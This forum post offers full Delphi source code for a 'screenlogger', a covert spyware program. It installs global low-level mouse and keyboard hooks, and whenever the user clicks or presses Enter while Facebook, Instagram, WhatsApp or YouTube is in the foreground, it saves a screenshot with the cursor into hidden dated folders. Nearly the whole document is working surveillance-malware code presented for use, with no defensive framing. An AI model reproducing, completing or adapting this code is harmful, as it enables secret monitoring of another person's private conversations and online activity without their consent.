Fórum Screenlogger [Source] #609081

program Project;

uses
  Windows, Messages, SysUtils, Graphics, PngImage;

type
  MouseLLHookStruct = record
end;

type
  KeybdLLHookStruct = record
  vkCode: DWORD;
end;

const
  WH_MOUSE_LL = 14;
  WH_KEYBOARD_LL = 13;

var
  Msg: TMsg;
  mHook: Cardinal;
  kHook: Cardinal;

function FileScreen: String;
begin
  Result:=FormatDateTime(''ddmmyyyyhhmmss'',Now)+''.png'';
end;

function FolderLog: String;
const
  Meses: array[1..12] of string =
  (''Janeiro'',''Fevereiro'',''Março'',''Abril'',''Maio'',''Junho'',''Julho'',''Agosto'',''Setembro'',''Outubro'',''Novembro'',''Dezembro'');
var
  Mes, Ano: String;
begin
  Mes:=Meses[StrToInt(FormatDateTime(''m'', Now))];
  Ano:=FormatDateTime(''yyyy'', Now);
  Result:=ExtractFilePath(ParamStr(0))+Mes+'' ''+Ano+'''';
end;

function FolderScreen: String;
begin
  Result:=FolderLog+FormatDateTime(''[dd_mm_yyyy]'',Now)+'''';
end;

procedure GetCursor(ScreenShotBitmap: TBitmap);
var
  R: TRect;
  Icon: TIcon;
  II: TIconInfo;
  CI: TCursorInfo;
begin
  R:=ScreenShotBitmap.Canvas.ClipRect;
  Icon:=TIcon.Create;
  try
    CI.cbSize:=SizeOf(CI);
    if GetCursorInfo(CI) then
    if CI.Flags = CURSOR_SHOWING then
    begin
      Icon.Handle:=CopyIcon(CI.hCursor);
      if GetIconInfo(Icon.Handle, II) then
      begin
        ScreenShotBitmap.Canvas.Draw(CI.ptScreenPos.X-Integer(II.xHotspot)-R.Left,CI.ptScreenPos.Y-Integer(II.yHotspot)-R.Top,Icon);
      end;
    end;
  finally
    Icon.Free;
  end;
end;

procedure ScreenCapture;
var
  DC: HDC;
  Rect: TRect;
  PNG: TPNGObject;
  Bitmap: TBitmap;
begin
  PNG:=TPNGObject.Create;
  Bitmap:=TBitmap.Create;
  GetWindowRect(GetDesktopWindow,Rect);
  DC:=GetWindowDC(GetDesktopWindow);
  try
    Bitmap.Width:=Rect.Right-Rect.Left;
    Bitmap.Height:=Rect.Bottom-Rect.Top;
    BitBlt(Bitmap.Canvas.Handle,0,0,Bitmap.Width,Bitmap.Height,DC,0,0,SRCCOPY);
    GetCursor(Bitmap);
    PNG.Assign(Bitmap);
    if not DirectoryExists(FolderScreen) then ForceDirectories(FolderScreen);
    PNG.SaveToFile(FolderScreen+FileScreen);
  finally
    ReleaseDC(GetDesktopWindow,DC);
    PNG.Free;
    Bitmap.Free;
  end;
end;

procedure Screenlogger;
const
  Title: array[1..4] of string = (''Facebook'',''Instagram'',''WhatsApp'', ''YouTube'');
var
  I: Integer;
  Handle: HWND;
  WindowName: Array[0..Max_Path] of Char;
begin
  Handle := GetForegroundWindow;
  GetWindowText(Handle, WindowName, SizeOf(WindowName));

  for I := 1 to 4 do
  begin
    if (Pos(Title[I], WindowName) > 0) then
    begin
      ScreenCapture;
    end;
  end;
end;

function LowLevelMouseHookProc(nCode: LongInt; WPARAM: WPARAM; lParam: LPARAM): LRESULT; stdcall;
var
  info: ^MouseLLHookStruct absolute lParam;
begin
  Result := CallNextHookEx(mHook, nCode, wParam, lParam);
  if (wParam = WM_LBUTTONUP) then
  begin
    Screenlogger;
  end;
end;

function LowLevelKeyboardProc(nCode: Integer; wParam: Longint; var lParam: KeybdLLHookStruct): Longint; stdcall;
var
  info: ^KeybdLLHookStruct absolute lParam;
begin
  Result := CallNextHookEx(kHook, nCode, wParam, LongInt(@LParam));
  if (nCode >= HC_ACTION) then
  begin
    if (wParam = WM_KEYUP) and (lParam.vkCode = VK_RETURN) then
    begin
      Screenlogger;
     end;
  end;
end;

var
  Mutex:THandle;
begin
  Mutex:=CreateMutex(nil,True,''XD'');
  mHook := SetWindowsHookEx(WH_MOUSE_LL, @LowLevelMouseHookProc, HInstance, 0);
  kHook := SetWindowsHookEx(WH_KEYBOARD_LL, @LowLevelKeyboardProc, HInstance, 0);

  if GetLastError = ERROR_ALREADY_EXISTS then Halt;

  while GetMessage(Msg,0,0,0) do
  begin
    TranslateMessage(Msg);
    DispatchMessage(Msg);
  end;
  UnhookWindowsHookEx(mHook);
  UnhookWindowsHookEx(kHook);
  CloseHandle(Mutex);
end.